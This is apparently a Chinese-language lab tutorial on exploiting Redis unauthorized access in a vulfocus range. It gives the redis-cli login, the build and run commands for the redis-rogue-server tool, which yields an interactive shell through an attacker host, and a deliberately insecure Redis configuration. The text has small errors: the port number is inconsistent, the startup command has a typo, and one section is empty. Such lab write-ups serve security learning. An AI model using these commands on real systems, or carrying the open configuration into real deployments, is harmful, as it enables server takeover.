redis漏洞利用复现
在讲解漏洞前我们先对redis进行一个基本的了解啦!
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。
.
这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。
.
与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。
Redis 是一个高性能的key-value数据库。
.
redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。 [1]
1、漏洞描述及环境
环境:vulfocus
2、漏洞复现
如果安装了redis的话,我们可以直接用如下语句,进行登录。
redis-cli -h 192.168.1.177 -p 53877
如下,可以发现不需要输入密码啥的我们就进去了,所以表明不需要授权我们就可以登录进去啦!!!
那么接下来,我们来开始进行漏洞利用吧!
2.1、攻击利用_1
工具:https://github.com/n0b0dyCN/redis-rogue-server.git
# 下载到本地
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
# 进入文件夹
cd redis-rogue-server/RedisModulesSDK/exp
# gcc编译
make
cd ../../
#运行环境
python3 redis-rogue-server.py --rhost 目标ip 【--rport 目标端口】 --lhost 本地ip 【--lport 本地端口】
在此由于我是在靶场运行,默认端口6379映射到了53887,因此我需要设置一下我的目标端口。
python3 redis-rogue-server.py --rhost 192.168.1.177:53877 --lhost 192.168.10.130
成功建立后,输入i,将会弹出一个交互shell。
2.2、攻击利用_2
PS:前提是已经安装了redis哦!否则的话将可能无法运行哦!
(在这类我运行时产生了报错,错误如下,原因是只读模式,因此我们没有写入的权限,所以产生错误。)
3、redis的安装
系统:centros 7.0
安装redis:
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar -xvzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
PS:make是编译c文件,因此前提是需要安装了gcc环境哦,如果安装好了,但是依旧编译不了的话,可以试着用下面的语句(yum -y install gcc automake autoconf libtool make
)重新安装哦!再次编译前,执行 make distclean
命令,将前面运行的错误清理哦,要不然再次编译的时候依会显示错误啦!
修改配置文件:
vim redis.conf
bind 127.0.0.1前面加上#号 # bind 127.0.0.1
protected-mode设为no protected-mode no
启动redis-server
./src/redis-service redis.conf
默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件!!
3、参考链接
上一篇: 建立CMS:nodePress
推荐阅读